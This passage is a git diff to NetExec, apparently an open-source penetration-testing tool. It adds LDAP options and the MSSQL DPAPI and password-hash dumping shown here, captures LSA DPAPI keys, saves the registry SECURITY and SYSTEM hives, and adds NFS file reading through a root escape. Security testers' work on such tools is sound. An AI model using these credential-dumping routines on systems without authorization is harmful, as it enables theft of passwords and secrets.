self.logger.debug(f"TGT: {e!s}") diff --git a/nxc/protocols/ldap/proto_args.py b/nxc/protocols/ldap/proto_args.py index aaecc73471..aa83639612 100644 --- a/nxc/protocols/ldap/proto_args.py +++ b/nxc/protocols/ldap/proto_args.py @@ -8,6 +8,7 @@ def proto_args(parser, parents): dgroup.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes") dgroup.add_argument("--simple-bind", action="store_true", help="Use simple bind authentication (no signing/sealing)") ldap_parser.add_argument("--port", type=int, default=389, action=DefaultTrackingAction, help="LDAP port") + ldap_parser.add_argument("--ldap-timeout", type=int, default=3, help="LDAP connection timeout") ldap_parser.add_argument("-d", metavar="DOMAIN", dest="domain", type=str, default=None, help="domain to authenticate to") egroup = ldap_parser.add_argument_group("Retrieve hash on the remote DC", "Options to get hashes from Kerberos") @@ -31,6 +32,7 @@ def proto_args(parser, parents): vgroup.add_argument("--users", nargs="*", help="Enumerate domain users") vgroup.add_argument("--users-export", help="Enumerate domain users and export them to the specified file") vgroup.add_argument("--groups", nargs="?", const="", help="Enumerate domain groups, if a group is specified than its members are enumerated") + vgroup.add_argument("--ous", nargs="?", const="", help="Specify OU name to query all users in that OU or list all OUs") vgroup.add_argument("--computers", action="store_true", help="Enumerate domain computers") vgroup.add_argument("--dc-list", action="store_true", help="Enumerate Domain Controllers") vgroup.add_argument("--get-sid", action="store_true", help="Get domain sid") @@ -43,8 +45,8 @@ def proto_args(parser, parents): ggroup.add_argument("--gmsa-convert-id", help="Get the secret name of specific gmsa or all gmsa if no gmsa provided") ggroup.add_argument("--gmsa-decrypt-lsa", help="Decrypt the gmsa encrypted value from LSA") - bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhoud") - bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan") + bgroup = ldap_parser.add_argument_group("Bloodhound Scan", "Options to play with Bloodhound") + bgroup.add_argument("--bloodhound", action="store_true", help="Perform a Bloodhound scan. Default collector: Bloodhound CE, for legacy support see config file") bgroup.add_argument("-c", "--collection", default="Default", help="Which information to collect. Supported: Group, LocalAdmin, Session, Trusts, Default, DCOnly, DCOM, RDP, PSRemote, LoggedOn, Container, ObjectProps, ACL, ADCS, All. You can specify more than one by separating them with a comma.") return parser diff --git a/nxc/protocols/ldap/resolution.py b/nxc/protocols/ldap/resolution.py index 9175e0cc82..c7993eddba 100644 --- a/nxc/protocols/ldap/resolution.py +++ b/nxc/protocols/ldap/resolution.py @@ -5,6 +5,7 @@ from impacket.ldap import ldap as ldap_impacket from impacket.ldap import ldapasn1 as ldapasn1_impacket +from nxc.helpers.misc import sanitize_dns from nxc.parsers.ldap_results import parse_result_attributes from nxc.logger import nxc_logger @@ -18,6 +19,7 @@ def get_resolution(self): target = "" target_domain = "" base_dn = "" + machine_name = "" try: ldap_url = f"ldap://{self.host}" nxc_logger.info(f"Connecting to {ldap_url} with no baseDN") @@ -60,5 +62,7 @@ def get_resolution(self): else: nxc_logger.error(f"Error getting ldap info {e}") + machine_name = sanitize_dns(machine_name, nxc_logger) + target_domain = sanitize_dns(target_domain, nxc_logger) nxc_logger.debug(f"Target: {machine_name}.{target_domain}; target_domain: {target_domain}; base_dn: {base_dn}") return machine_name, target_domain diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index e483c5b123..40a5044369 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -1,18 +1,22 @@ import os import random import contextlib +import binascii from termcolor import colored from nxc.config import process_secret, host_info_colors from nxc.connection import connection from nxc.connection import requires_admin -from nxc.helpers.misc import gen_random_string +from nxc.helpers.misc import gen_random_string, sanitize_dns from nxc.logger import NXCAdapter from nxc.helpers.bloodhound import add_user_bh from nxc.helpers.negotiate_parser import parse_challenge, login7_integrated_auth_error_message from nxc.helpers.powershell import create_ps_command +from nxc.helpers.dpapi import DPAPITriage from nxc.protocols.mssql.mssqlexec import MSSQLEXEC +from dploot.lib.network.mssql import MSSQLTarget as Target + from impacket import tds, ntlm from impacket.krb5.ccache import CCache from impacket.dcerpc.v5.dtypes import SID @@ -44,6 +48,13 @@ def __init__(self, args, db, host): self.lmhash = "" self.nthash = "" self.no_ntlm = False + self.encryption = None + self.edition = "" + self.version = "" + self.dpapi_system_key = None + self.no_da = None + + self._dpapi_triage = None connection.__init__(self, args, db, host) @@ -97,6 +108,12 @@ def enum_host_info(self): resp = self.conn.preLogin() self.encryption = False + # Parses the MSSQL version + self.edition, self.version = ( + str(self.conn.mssql_version).split("Server ")[1].split(" (")[0], + str(self.conn.mssql_version).rsplit("(", 1)[1].rstrip(")") + ) + if resp["Encryption"] == TDS_ENCRYPT_REQ or resp["Encryption"] == TDS_ENCRYPT_OFF: # We switch to a TLS context handled by tds.py self.conn.set_tls_context() @@ -138,8 +155,11 @@ def enum_host_info(self): else: if challenge.startswith(b"NTLMSSP\x00"): ntlm_info = parse_challenge(challenge) - self.targetDomain = self.domain = ntlm_info["domain"] - self.hostname = ntlm_info["hostname"] + dns_hostname = ntlm_info["dns_hostname"] or "" + hostname = ntlm_info["hostname"] or dns_hostname.split(".", 1)[0] or self.host + domain = ntlm_info["domain"] or (dns_hostname.split(".", 1)[1] if "." in dns_hostname else self.host) + self.hostname = sanitize_dns(hostname, self.logger) + self.targetDomain = self.domain = sanitize_dns(domain, self.logger) self.server_os = ntlm_info["os_version"] self.logger.extra["hostname"] = self.hostname else: @@ -148,7 +168,7 @@ def enum_host_info(self): self.logger.debug(f"Server does not support NTLM{detail}") self.no_ntlm = True - self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances)) + self.db.add_host(self.host, self.hostname, self.domain, self.server_os, self.version, len(self.mssql_instances), self.encryption) if self.args.domain: self.domain = self.args.domain @@ -165,13 +185,7 @@ def enum_host_info(self): def print_host_info(self): encryption = colored(f"EncryptionReq:{self.encryption}", host_info_colors[0 if self.encryption else 1], attrs=["bold"]) ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" - - edition, version = ( - str(self.conn.mssql_version).split("Server ")[1].split(" (")[0], - str(self.conn.mssql_version).rsplit("(", 1)[1].rstrip(")") - ) - - self.logger.display(f"{self.server_os} ({edition} {version}) (name:{self.hostname}) (domain:{self.targetDomain}) ({encryption}) {ntlm}") + self.logger.display(f"{self.server_os} ({self.edition} {self.version}) (name:{self.hostname}) (domain:{self.targetDomain}) ({encryption}) {ntlm}") @reconnect_mssql def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): @@ -306,6 +320,7 @@ def query(self): self.logger.fail(self.conn.lastError) else: for data in raw_output: + self.logger.highlight("--------------------") for key, value in data.items(): if key: self.logger.highlight(f"{key}:{value}") @@ -451,7 +466,7 @@ def rid_brute(self, max_rid=None): # Query known group to determine raw SID & convert to canon raw_domain_sid = self.conn.sql_query(f"SELECT SUSER_SID('{domain}\\Domain Admins')")[0][""] - domain_sid = SID(bytes.fromhex(raw_domain_sid.decode())).formatCanonical()[:-4] + domain_sid = SID(bytes.fromhex(raw_domain_sid)).formatCanonical()[:-4] except Exception as e: self.logger.fail(f"Error parsing SID. Not domain joined?: {e}") return entries @@ -490,68 +505,65 @@ def _qname(self, ident: str) -> str: return "[" + str(ident).replace("]", "]]") + "]" def list_databases(self): - try: - q = ( - "SELECT d.name AS DatabaseName, " - " suser_sname(d.owner_sid) AS Owner " - "FROM sys.databases d " - "ORDER BY d.name;" - ) - rows = self.conn.sql_query(q) or [] - if not rows: - self.logger.display("No databases returned") - return + query = """ + SELECT d.name AS DatabaseName, suser_sname(d.owner_sid) AS Owner + FROM sys.databases d + ORDER BY d.name; + """ + rows = self.conn.sql_query(query) + if self.conn.lastError: + self.logger.fail(f"Error running the SQL query: {self.conn.lastError}") + if not rows: + self.logger.display("No databases returned") + return - self.logger.display("Enumerated databases") - self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}") - self.logger.highlight(f"{'-' * 30} {'-' * 25}") - for r in rows: - self.logger.highlight(f"{r.get('DatabaseName', ''):<30} {r.get('Owner', ''):<25}") - self.logger.highlight(f"Total: {len(rows)} database(s)") - except Exception as e: - self.logger.fail(f"Failed to enumerate databases: {e}") - self.logger.debug("list_databases error", exc_info=True) + self.logger.display("Enumerated databases") + self.logger.highlight(f"{'Database Name':<30} {'Owner':<25}") + self.logger.highlight(f"{'-' * 30} {'-' * 25}") + for row in rows: + database_name = row.get("DatabaseName", "") + owner = row.get("Owner", "") + self.logger.highlight(f"{database_name:<30} {owner:<25}") + self.logger.highlight(f"Total: {len(rows)} database(s)") def database(self): - db_arg = self.args.database - # nxc --database (no value) -> list - if db_arg is True or db_arg is None: + if self.args.database is True: self.list_databases() return # nxc --database -> tables - if isinstance(db_arg, str): - try: - safe = db_arg.replace("'", "''") - exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';") - if not exists: - self.logger.fail(f"Database [{db_arg}] does not exist on the server.") - return - - tq = ( - f"SELECT t.name AS TableName, t.modify_date " - f"FROM {self._qname(db_arg)}.sys.tables t " - f"ORDER BY t.name;" - ) - rows = self.conn.sql_query(tq) or [] - except Exception as e: - self.logger.fail(f"Insufficient permissions or query error in [{db_arg}]: {e}") - self.logger.debug("database() error", exc_info=True) + if isinstance(self.args.database, str): + safe = self.args.database.replace("'", "''") + exists = self.conn.sql_query(f"SELECT 1 FROM sys.databases WHERE name = N'{safe}';") + if self.conn.lastError: + self.logger.fail(f"Error running the SQL query: {self.conn.lastError}") + if not exists: + self.logger.fail(f"Database [{self.args.database}] does not exist on the server.") return + query = f""" + SELECT t.name AS TableName, t.modify_date + FROM {self._qname(self.args.database)}.sys.tables t + ORDER BY t.name; + """ + rows = self.conn.sql_query(query) + + if self.conn.lastError: + self.logger.fail(f"Error running the SQL query: {self.conn.lastError}") + if not rows: - self.logger.display(f"Database [{db_arg}] has no user tables.") + self.logger.display(f"Database [{self.args.database}] has no user tables.") return - self.logger.display(f"Tables in database: {db_arg}") + self.logger.display(f"Tables in database: {self.args.database}") self.logger.highlight(f"{'Table Name':<50} {'Last Modified':<25}") self.logger.highlight(f"{'-' * 50} {'-' * 25}") - for r in rows: - mod = r.get("modify_date", "") - if mod and hasattr(mod, "strftime"): - mod = mod.strftime("%Y-%m-%d %H:%M:%S") - self.logger.highlight(f"{r.get('TableName', ''):<50} {mod!s:<25}") + for row in rows: + modify_date = row.get("modify_date", "") + if modify_date and hasattr(modify_date, "strftime"): + modify_date = modify_date.strftime("%Y-%m-%d %H:%M:%S") + self.logger.highlight(f"{row.get('TableName', ''):<50} {modify_date!s:<25}") self.logger.highlight(f"Total: {len(rows)} table(s)") return @@ -591,7 +603,7 @@ def sam(self): SAM.export(output_filename) @requires_admin - def lsa(self): + def lsa(self, quiet=False): security_storename = gen_random_string(6) system_storename = gen_random_string(6) dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}" @@ -613,15 +625,128 @@ def lsa(self): or not (os.path.exists(f"{output_filename}.system") and os.path.getsize(f"{output_filename}.system") > 0): self.logger.fail("SECURITY or SYSTEM hive could not be dumped, privs may not be sufficient.") return - self.logger.display("Dumping LSA secrets") + if not quiet: + self.logger.display("Dumping LSA secrets") local_operations = LocalOperations(f"{output_filename}.system") boot_key = local_operations.getBootKey() + + def lsa_secret_callback(_, secret): + if "dpapi_machinekey" not in secret: + if not quiet: + self.logger.highlight(secret) + else: + correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} + self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} + if not quiet: + self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}") + self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}") LSA = LSASecrets( f"{output_filename}.security", boot_key, None, isRemote=None, - perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret), + perSecretCallback=lsa_secret_callback, ) LSA.dumpCachedHashes() LSA.dumpSecrets() + + @requires_admin + def dpapi(self): + self.dpapi_triage.triage_dpapi() + + @property + def dpapi_triage(self) -> DPAPITriage: + if self._dpapi_triage is not None: + return self._dpapi_triage + + target = Target.create( + domain=self.domain, + username=self.username, + password=self.password, + address=self.remoteName, + port=self.port, + hashes=f":{self.nthash}", + do_kerberos=self.kerberos, + kdcHost=self.kdcHost, + use_kcache=self.use_kcache, + aesKey=self.aesKey, + db_auth=self.args.local_auth, + ) + + self._dpapi_triage = DPAPITriage(self, target) + return self._dpapi_triage + + @requires_admin + def db_hash(self): + self.logger.display("Dumping local database users' hashes") + query = """ + SELECT + sp.name, + CASE + WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0200 THEN 'SHA-512' + WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0300 THEN 'PBKDF2' + WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0100 THEN 'SHA-1' + ELSE 'Unknown' + END AS hash_type, + sl.password_hash + FROM sys.server_principals sp + INNER JOIN sys.sql_logins sl + ON sp.principal_id = sl.principal_id + WHERE sp.type = 'S' -- uniquement les logins SQL + AND sp.name NOT LIKE '##%' + ORDER BY sp.name; + """ + rows = self.conn.sql_query(query) + if self.conn.lastError: + self.logger.fail(f"Error running the SQL query: {self.conn.lastError}") + return + if not rows: + self.logger.fail("No logins returned") + return + else: + self.logger.display("Enumerated logins") + self.logger.highlight(f"{'Login Name':<15} {'Hash type':<10} {'Hash'}") + self.logger.highlight(f"{'----------':<15} {'----------':<10} {'--------------':}") + for row in rows: + name = row.get("name") + hash_type = row.get("hash_type") + password_hash = row.get("password_hash") + if password_hash != "NULL": + self.logger.highlight(f"{name:<15} {hash_type:<10} {password_hash:<140}") + + def list_backups(self): + self.logger.info("Dumping database backups") + query = """ + SELECT + bs.database_name, + bs.server_name, + bmf.physical_device_name AS backup_file_path, + CASE + WHEN bs.encryptor_type IS NULL THEN 'Unencrypted' + ELSE 'Encrypted' + END AS backup_encryption_status, + bs.encryptor_type, + bs.key_algorithm + FROM msdb.dbo.backupset AS bs + INNER JOIN msdb.dbo.backupmediafamily AS bmf + ON bs.media_set_id = bmf.media_set_id + INNER JOIN sys.databases AS d + ON bs.database_name = d.name + ORDER BY bs.backup_finish_date DESC; + """ + rows = self.conn.sql_query(query) + if self.conn.lastError: + self.logger.fail(f"Error running the SQL query: {self.conn.lastError}") + return + if not rows: + self.logger.fail("No backups returned") + return + else: + self.logger.display("Enumerated backups") + self.logger.highlight(f"{'Backup Name':<20} {'Encryption':<15} {'Backup Path'}") + self.logger.highlight(f"{'-----------':<20} {'----------':<15} {'-----------'}") + for row in rows: + database_name = row.get("database_name").strip() + is_encrypted = row.get("backup_encryption_status").strip() + backup_file_path = row.get("backup_file_path").strip() + self.logger.highlight(f"{database_name:<20} {is_encrypted:<15s} {backup_file_path}") diff --git a/nxc/protocols/mssql/database.py b/nxc/protocols/mssql/database.py index 52d04459d2..a6c0e64789 100755 --- a/nxc/protocols/mssql/database.py +++ b/nxc/protocols/mssql/database.py @@ -1,6 +1,7 @@ import warnings +import base64 -from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete +from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, func, select, insert, delete, Boolean, and_, or_ from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.exc import SAWarning from sqlalchemy.orm import declarative_base @@ -19,6 +20,8 @@ def __init__(self, db_engine): self.HostsTable = None self.UsersTable = None self.AdminRelationsTable = None + self.DpapiBackupkeyTable = None + self.DpapiSecretsTable = None super().__init__(db_engine) @@ -29,7 +32,9 @@ class Host(Base): hostname = Column(String) domain = Column(String) os = Column(String) + mssqlversion = Column(String) instances = Column(Integer) + encryptionReq = Column(Boolean) __table_args__ = ( PrimaryKeyConstraint("id"), @@ -73,6 +78,32 @@ class LoggedInRelation(Base): ForeignKeyConstraint(["hostid"], ["hosts.id"]), ) + class DpapiSecret(Base): + __tablename__ = "dpapi_secrets" + id = Column(Integer) + host = Column(String) + dpapi_type = Column(String) + windows_user = Column(String) + username = Column(String) + password = Column(String) + url = Column(String) + + __table_args__ = ( + PrimaryKeyConstraint("id"), + UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"), + ) + + class DpapiBackupKey(Base): + __tablename__ = "dpapi_backupkey" + id = Column(Integer) + domain = Column(String) + pvk = Column(String) + + __table_args__ = ( + PrimaryKeyConstraint("id"), + UniqueConstraint("domain"), + ) + @staticmethod def db_schema(db_conn): Base.metadata.create_all(db_conn) @@ -82,13 +113,15 @@ def reflect_tables(self): self.UsersTable = self.reflect_table(self.User) self.AdminRelationsTable = self.reflect_table(self.AdminRelation) self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation) + self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret) + self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey) - def add_host(self, ip, hostname, domain, os, instances): + def add_host(self, ip, hostname, domain, os, mssqlversion, instances, encryptionReq): """ Check if this host has already been added to the database, if not, add it in. TODO: return inserted or updated row ids as a list """ - nxc_logger.debug(f"{domain} {ip} {os} {instances}") + nxc_logger.debug(f"{domain} {ip} {os} {mssqlversion} {instances} {encryptionReq}") if not domain: domain = "" hosts = [] @@ -102,7 +135,9 @@ def add_host(self, ip, hostname, domain, os, instances): "hostname": hostname, "domain": domain, "os": os, + "mssqlversion": mssqlversion, "instances": instances, + "encryptionReq": encryptionReq } if not results: @@ -118,8 +153,12 @@ def add_host(self, ip, hostname, domain, os, instances): host_data["domain"] = domain if os is not None: host_data["os"] = os + if mssqlversion is not None: + host_data["mssqlversion"] = mssqlversion if instances is not None: host_data["instances"] = instances + if encryptionReq is not None: + host_data["encryptionReq"] = encryptionReq if host_data not in hosts: hosts.append(host_data) @@ -271,6 +310,20 @@ def get_credentials(self, filter_term=None, cred_type=None): return self.db_execute(q).all() + def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None): + """Return credentials for a list of users from the database.""" + if cred_type: + q = select(self.UsersTable).filter( + self.UsersTable.c.credtype == cred_type, + and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])) + ) + else: + q = select(self.UsersTable).filter( + or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]) + ) + + return self.db_execute(q).all() + def get_credential(self, cred_type, domain, username, password): q = select(self.UsersTable).filter( self.UsersTable.c.domain == domain, @@ -345,3 +398,113 @@ def remove_loggedin_relations(self, user_id=None, host_id=None): elif host_id: q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id) self.db_execute(q) + + def add_domain_backupkey(self, domain: str, pvk: bytes): + """ + Add domain backupkey + :domain is the domain fqdn + :pvk is the domain backupkey + """ + q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain)) + results = self.db_execute(q).all() + + if not len(results): + pvk_encoded = base64.b64encode(pvk) + backup_key = {"domain": domain, "pvk": pvk_encoded} + try: + # TODO: find a way to abstract this away to a single Upsert call + q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id) + + self.db_execute(q, [backup_key]) # .scalar() + nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})") + except Exception as e: + nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}") + + def get_domain_backupkey(self, domain: str | None = None): + """ + Get domain backupkey + :domain is the domain fqdn + """ + q = select(self.DpapiBackupkeyTable) + if domain is not None: + q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain)) + results = self.db_execute(q).all() + + nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}") + + if len(results) > 0: + results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results] + return results + + def is_dpapi_secret_valid(self, dpapi_secret_id): + """ + Check if this DPAPI secret ID is valid. + :dpapi_secret_id is a primary id + """ + q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id) + results = self.db_execute(q).first() + valid = results is not None + nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}") + return valid + + def add_dpapi_secrets( + self, + host: str, + dpapi_type: str, + windows_user: str, + username: str, + password: str, + url: str = "", + ): + """Add dpapi secrets to nxcdb""" + secret = { + "host": host, + "dpapi_type": dpapi_type, + "windows_user": windows_user, + "username": username, + "password": password, + "url": url, + } + q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id) + + self.db_execute(q, [secret]) # .scalar() + + nxc_logger.debug( + f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})") + + def get_dpapi_secrets( + self, + filter_term=None, + host: str | None = None, + dpapi_type: str | None = None, + windows_user: str | None = None, + username: str | None = None, + url: str | None = None, + ): + """Get dpapi secrets from nxcdb""" + q = select(self.DpapiSecretsTable) + + if self.is_dpapi_secret_valid(filter_term): + q = q.filter(self.DpapiSecretsTable.c.id == filter_term) + results = self.db_execute(q).first() + # all() returns a list, so we keep the return format the same so consumers don't have to guess + return [results] + elif host: + q = q.filter(self.DpapiSecretsTable.c.host == host) + results = self.db_execute(q).first() + # all() returns a list, so we keep the return format the same so consumers don't have to guess + return [results] + elif dpapi_type: + q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type)) + elif windows_user: + like_term = func.lower(f"%{windows_user}%") + q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term)) + elif username: + like_term = func.lower(f"%{username}%") + q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term)) + elif url: + q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url)) + results = self.db_execute(q).all() + + nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}") + return results diff --git a/nxc/protocols/mssql/db_navigator.py b/nxc/protocols/mssql/db_navigator.py index 51a817b676..b72228dcde 100644 --- a/nxc/protocols/mssql/db_navigator.py +++ b/nxc/protocols/mssql/db_navigator.py @@ -21,7 +21,7 @@ def display_creds(self, creds): print_table(data, title="Credentials") def display_hosts(self, hosts): - data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "DB Instances"]] + data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "MSSQL Version", "DB Instances", "EncryptionReq"]] for host in hosts: links = self.db.get_admin_relations(host_id=host[0]) data.append( @@ -33,6 +33,8 @@ def display_hosts(self, hosts): host[3], host[4], host[5], + host[6], + host[7] ] ) print_table(data, title="Hosts") @@ -49,12 +51,12 @@ def do_hosts(self, line): if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: - data = [["HostID", "IP", "Hostname", "Domain", "OS"]] + data = [["HostID", "IP", "Hostname", "Domain", "OS", "MSSQL Version", "DB Instances", "EncryptionReq"]] host_id_list = [] for host in hosts: host_id_list.append(host[0]) - data.append([host[0], host[1], host[2], host[3], host[4]]) + data.append([host[0], host[1], host[2], host[3], host[4], host[5], host[6], host[7]]) print_table(data, title="Host(s)") diff --git a/nxc/protocols/mssql/proto_args.py b/nxc/protocols/mssql/proto_args.py index 9d494ed44e..49bd1a4ce4 100644 --- a/nxc/protocols/mssql/proto_args.py +++ b/nxc/protocols/mssql/proto_args.py @@ -16,6 +16,10 @@ def proto_args(parser, parents): cgroup = mssql_parser.add_argument_group("Credential Gathering") cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems") cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems") + cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem") + cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1") + cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey") + cgroup.add_argument("--db-hash", action="store_true", help="dump local database hashes") cgroup = mssql_parser.add_argument_group("Command Execution") cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output") @@ -36,4 +40,5 @@ def proto_args(parser, parents): mapping_enum_group = mssql_parser.add_argument_group("Mapping/Enumeration") mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs") + mapping_enum_group.add_argument("--list-backups", action="store_true", help="dump database backups path") return parser diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 95c98ce4e5..375f3b6810 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -1,3 +1,5 @@ +from io import BytesIO + from termcolor import colored from nxc.connection import connection from nxc.logger import NXCAdapter @@ -147,6 +149,8 @@ def enum_host_info(self): except Exception as e: self.logger.fail(f"Failed to connect to NFS3 host: {e}") + self.db.add_host(self.host, self.hostname, self.port, self.nfs_versions, self.root_escape) + def print_host_info(self): root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"]) self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})") @@ -269,6 +273,7 @@ def shares(self): read_perm, write_perm, exec_perm = self.get_permissions(file_handle) self.mount.umnt(self.auth) + self.db.add_share(self.host, (read_perm, write_perm, exec_perm), (convert_size(used_space), "/", convert_size(total_space)), share, network) self.logger.highlight(f"{self.auth['uid']:<11}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{('x' if exec_perm else '-'):<7}{convert_size(used_space) + '/' + convert_size(total_space):<16} {share:<30} {', '.join(network) if network else 'No network':<15}") except Exception as e: self.logger.fail(f"Failed to list share: {share} - {e}") @@ -639,13 +644,13 @@ def get_root_handles(self, mount_fh): # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fh = bytearray(mount_fh) if filesystem in [FileID.ext, FileID.unknown]: - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4 + fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4 + fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # ruff: ignore[missing-whitespace-around-arithmetic-operator] + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # ruff: ignore[missing-whitespace-around-arithmetic-operator] if filesystem in [FileID.btrfs, FileID.unknown]: # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling for i in range(16): subvolume = int.to_bytes(i) + b"\x01\x00\x00" - root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4 + fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # ruff: ignore[missing-whitespace-around-arithmetic-operator] return root_handles @@ -771,6 +776,89 @@ def ls(self): path = path.rsplit("/", 1)[0] # Remove the file from the path self.print_directory(content, path) + def cat(self): + # Connect to NFS + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + + # Remove leading or trailing slashes + self.args.cat = self.args.cat.lstrip("/").rstrip("/") + + # NORMAL LS CALL (without root escape) + if self.args.share: + mount_info = self.mount.mnt(self.args.share, self.auth) + if mount_info["status"] != 0: + self.logger.fail(f"Could not mount share {self.args.share}: {NFSSTAT3[mount_info['status']]}") + return + else: + mount_fh = mount_info["mountinfo"]["fhandle"] + elif self.root_escape: + # Interestingly we don't actually have to mount the share if we already got the handle + self.logger.success(f"Successful escape on share: {self.escape_share}") + mount_fh = self.escape_fh + else: + self.logger.fail("No root escape possible, please specify a share") + return + + # We got a path to look up + curr_fh = mount_fh + is_file = False # If the last path is a file + + # If ls is "" or "/" without filter we would get one item with [""] + for sub_path in list(filter(None, self.args.cat.split("/"))): + # Update UID and GID for the path + self.update_auth(curr_fh) + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.fail(f"Unknown path: {self.args.cat!r}") + return + elif "resfail" in res: + self.logger.fail(f"Error on looking up path '{sub_path}': {NFSSTAT3[res['status']]}") + return + + curr_fh = res["resok"]["object"]["data"] + + # If file then break and only display file + if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: + is_file = True + break + + # Update the UID and GID for the file/dir + self.update_auth(curr_fh) + + if not is_file: + self.logger.fail(f"Path '{self.args.cat}' is not a file!") + return + + buf = BytesIO() + # Handle files over the default chunk size of 1024 * 1024 + offset = 